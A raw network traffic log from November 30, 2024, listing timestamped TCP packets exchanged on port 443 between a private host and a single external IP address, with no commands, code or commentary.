Nov 30, 2024 04:13:09.994510889 CET	49910	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.994577885 CET	443	49910	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.994616032 CET	49910	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.994632006 CET	443	49910	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.997668028 CET	49913	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.997708082 CET	443	49913	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.997786045 CET	49913	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.997991085 CET	49913	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.998003960 CET	443	49913	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.093874931 CET	443	49911	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.097135067 CET	443	49911	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.097206116 CET	49911	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:10.097239017 CET	49911	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:10.097255945 CET	443	49911	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.097265959 CET	49911	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:10.097273111 CET	443	49911	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.100296974 CET	49914	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:10.100337982 CET	443	49914	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.100425005 CET	49914	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:10.100570917 CET	49914	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:10.100581884 CET	443	49914	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.609764099 CET	443	49905	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.612548113 CET	49905	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:10.612566948 CET	443	49905	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.613044977 CET	49905	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:10.613055944 CET	443	49905	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.927831888 CET	443	49912	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.928360939 CET	49912	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:10.928378105 CET	443	49912	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:10.928834915 CET	49912	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:10.928839922 CET	443	49912	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.063070059 CET	443	49905	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.066154957 CET	443	49905	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.066219091 CET	49905	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.066257000 CET	49905	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.066278934 CET	443	49905	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.066291094 CET	49905	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.066296101 CET	443	49905	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.069201946 CET	49915	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.069246054 CET	443	49915	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.069308043 CET	49915	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.069466114 CET	49915	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.069473028 CET	443	49915	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.371629953 CET	443	49912	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.375045061 CET	443	49912	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.375143051 CET	49912	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.403420925 CET	49912	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.403450966 CET	443	49912	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.403462887 CET	49912	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.403470039 CET	443	49912	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.462171078 CET	49916	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.462233067 CET	443	49916	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.462296963 CET	49916	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.462595940 CET	49916	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.462610960 CET	443	49916	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.844187975 CET	443	49913	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.844233036 CET	443	49914	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.844842911 CET	49914	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.844862938 CET	443	49914	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.844986916 CET	49913	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.844996929 CET	443	49913	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.845329046 CET	49914	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.845338106 CET	443	49914	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:11.845443010 CET	49913	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:11.845448971 CET	443	49913	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.163631916 CET	443	49909	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.164304972 CET	49909	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.164381027 CET	443	49909	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.164808989 CET	49909	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.164827108 CET	443	49909	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.281083107 CET	443	49914	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.281384945 CET	443	49914	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.281435013 CET	49914	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.281440973 CET	443	49914	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.281495094 CET	49914	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.281543016 CET	49914	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.281563997 CET	443	49914	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.281575918 CET	49914	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.281580925 CET	443	49914	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.284575939 CET	49917	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.284600973 CET	443	49917	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.284681082 CET	49917	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.284853935 CET	49917	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.284862041 CET	443	49917	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.288604975 CET	443	49913	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.291635036 CET	443	49913	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.291687012 CET	49913	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.291713953 CET	49913	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.291729927 CET	443	49913	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.291744947 CET	49913	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.291749954 CET	443	49913	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.293740988 CET	49918	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.293786049 CET	443	49918	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.293853045 CET	49918	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.293988943 CET	49918	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.294003010 CET	443	49918	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.616353035 CET	443	49909	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.619970083 CET	443	49909	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.620048046 CET	49909	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.620151043 CET	49909	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.620167971 CET	443	49909	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.620182037 CET	49909	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.620186090 CET	443	49909	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.623290062 CET	49919	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.623328924 CET	443	49919	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.623405933 CET	49919	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.623580933 CET	49919	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.623589993 CET	443	49919	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.851357937 CET	443	49915	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.851883888 CET	49915	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.851906061 CET	443	49915	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:12.852515936 CET	49915	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:12.852519989 CET	443	49915	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.297425985 CET	443	49915	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.300551891 CET	443	49915	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.300734997 CET	49915	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.300734997 CET	49915	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.300734997 CET	49915	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.303884029 CET	49920	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.303924084 CET	443	49920	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.303997040 CET	49920	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.304146051 CET	49920	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.304161072 CET	443	49920	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.497661114 CET	443	49916	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.498256922 CET	49916	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.498289108 CET	443	49916	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.498882055 CET	49916	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.498888016 CET	443	49916	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.614974976 CET	49915	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.615003109 CET	443	49915	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.941517115 CET	443	49916	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.947413921 CET	443	49916	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.947467089 CET	49916	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.947478056 CET	443	49916	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.947523117 CET	49916	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.947604895 CET	49916	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.947624922 CET	443	49916	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.947634935 CET	49916	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.947639942 CET	443	49916	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.951258898 CET	49921	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.951308012 CET	443	49921	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:13.951500893 CET	49921	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.951550961 CET	49921	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:13.951562881 CET	443	49921	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.000334978 CET	443	49917	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.000755072 CET	49917	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.000766993 CET	443	49917	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.001238108 CET	49917	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.001241922 CET	443	49917	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.009315014 CET	443	49918	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.009917974 CET	49918	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.009936094 CET	443	49918	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.010335922 CET	49918	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.010341883 CET	443	49918	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.402904034 CET	443	49919	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.403552055 CET	49919	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.403568983 CET	443	49919	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.404067039 CET	49919	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.404071093 CET	443	49919	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.435426950 CET	443	49917	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.435508013 CET	443	49917	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.435761929 CET	49917	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.435789108 CET	49917	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.435800076 CET	443	49917	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.435808897 CET	49917	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.435813904 CET	443	49917	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.439016104 CET	49922	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.439062119 CET	443	49922	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.439162016 CET	49922	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.439333916 CET	49922	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.439346075 CET	443	49922	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.443686962 CET	443	49918	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.447205067 CET	443	49918	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.447271109 CET	443	49918	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.447302103 CET	49918	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.447344065 CET	49918	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.447391987 CET	49918	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.447413921 CET	443	49918	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.447424889 CET	49918	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.447429895 CET	443	49918	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.450285912 CET	49923	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.450323105 CET	443	49923	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.450390100 CET	49923	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.450536013 CET	49923	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.450546026 CET	443	49923	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.847048998 CET	443	49919	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.850270033 CET	443	49919	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.850442886 CET	49919	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.850502014 CET	49919	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.850514889 CET	443	49919	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.850524902 CET	49919	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.850529909 CET	443	49919	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.853595972 CET	49924	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.853652000 CET	443	49924	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:14.853719950 CET	49924	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.853873968 CET	49924	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:14.853893042 CET	443	49924	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.018201113 CET	443	49920	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.019105911 CET	49920	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:15.019144058 CET	443	49920	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.019629002 CET	49920	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:15.019635916 CET	443	49920	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.452560902 CET	443	49920	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.456170082 CET	443	49920	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.456222057 CET	443	49920	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.456239939 CET	49920	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:15.456286907 CET	49920	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:15.456336975 CET	49920	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:15.456355095 CET	443	49920	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.456365108 CET	49920	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:15.456372023 CET	443	49920	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.459502935 CET	49925	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:15.459542990 CET	443	49925	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.459614038 CET	49925	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:15.459767103 CET	49925	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:15.459777117 CET	443	49925	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.666836977 CET	443	49921	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.667392969 CET	49921	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:15.667423010 CET	443	49921	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:15.667885065 CET	49921	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:15.667891979 CET	443	49921	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.101509094 CET	443	49921	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.101620913 CET	443	49921	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.101741076 CET	49921	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.102019072 CET	49921	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.102073908 CET	443	49921	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.102103949 CET	49921	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.102121115 CET	443	49921	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.105097055 CET	49926	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.105153084 CET	443	49926	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.105226040 CET	49926	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.105391026 CET	49926	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.105408907 CET	443	49926	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.233453035 CET	443	49923	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.234055996 CET	49923	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.234088898 CET	443	49923	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.234549046 CET	49923	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.234563112 CET	443	49923	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.290635109 CET	443	49922	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.291111946 CET	49922	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.291130066 CET	443	49922	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.291713953 CET	49922	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.291719913 CET	443	49922	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.569818974 CET	443	49924	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.570493937 CET	49924	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.570528030 CET	443	49924	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.570897102 CET	49924	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.570907116 CET	443	49924	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.678561926 CET	443	49923	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.681596041 CET	443	49923	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.681664944 CET	49923	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.681709051 CET	49923	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.681730032 CET	443	49923	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.681741953 CET	49923	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.681746960 CET	443	49923	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.684768915 CET	49927	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.684820890 CET	443	49927	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.684896946 CET	49927	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.685048103 CET	49927	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.685061932 CET	443	49927	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.743534088 CET	443	49922	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.747190952 CET	443	49922	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.747251987 CET	443	49922	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.747344971 CET	49922	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.747344971 CET	49922	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.747381926 CET	49922	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.747381926 CET	49922	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.747401953 CET	443	49922	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.747410059 CET	443	49922	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.749650002 CET	49928	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.749672890 CET	443	49928	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:16.749742985 CET	49928	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.749874115 CET	49928	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:16.749885082 CET	443	49928	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.004228115 CET	443	49924	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.007719994 CET	443	49924	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.007786036 CET	49924	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.007858038 CET	49924	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.007884026 CET	443	49924	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.007900953 CET	49924	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.007909060 CET	443	49924	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.011185884 CET	49929	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.011220932 CET	443	49929	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.011297941 CET	49929	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.011482000 CET	49929	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.011495113 CET	443	49929	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.239020109 CET	443	49925	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.239842892 CET	49925	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.239871979 CET	443	49925	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.240247011 CET	49925	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.240256071 CET	443	49925	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.684544086 CET	443	49925	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.684943914 CET	443	49925	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.685029984 CET	49925	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.685069084 CET	49925	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.685069084 CET	49925	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.685090065 CET	443	49925	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.685100079 CET	443	49925	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.688292027 CET	49930	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.688348055 CET	443	49930	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.688617945 CET	49930	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.688617945 CET	49930	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.688666105 CET	443	49930	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.895734072 CET	443	49926	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.896605968 CET	49926	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.896648884 CET	443	49926	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:17.897068977 CET	49926	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:17.897080898 CET	443	49926	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.346721888 CET	443	49926	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.349958897 CET	443	49926	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.350018978 CET	443	49926	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.350053072 CET	49926	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.350091934 CET	49926	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.350156069 CET	49926	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.350184917 CET	443	49926	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.350199938 CET	49926	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.350208044 CET	443	49926	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.353058100 CET	49931	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.353097916 CET	443	49931	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.353168964 CET	49931	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.353326082 CET	49931	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.353334904 CET	443	49931	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.464704037 CET	443	49927	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.465389967 CET	49927	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.465415955 CET	443	49927	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.465815067 CET	49927	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.465820074 CET	443	49927	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.571491957 CET	443	49928	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.574939966 CET	49928	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.574963093 CET	443	49928	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.575443029 CET	49928	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.575452089 CET	443	49928	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.750157118 CET	443	49929	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.750969887 CET	49929	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.750991106 CET	443	49929	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.751466036 CET	49929	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.751471996 CET	443	49929	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.908622026 CET	443	49927	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.911806107 CET	443	49927	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.911906958 CET	49927	443	192.168.2.6	13.107.246.63
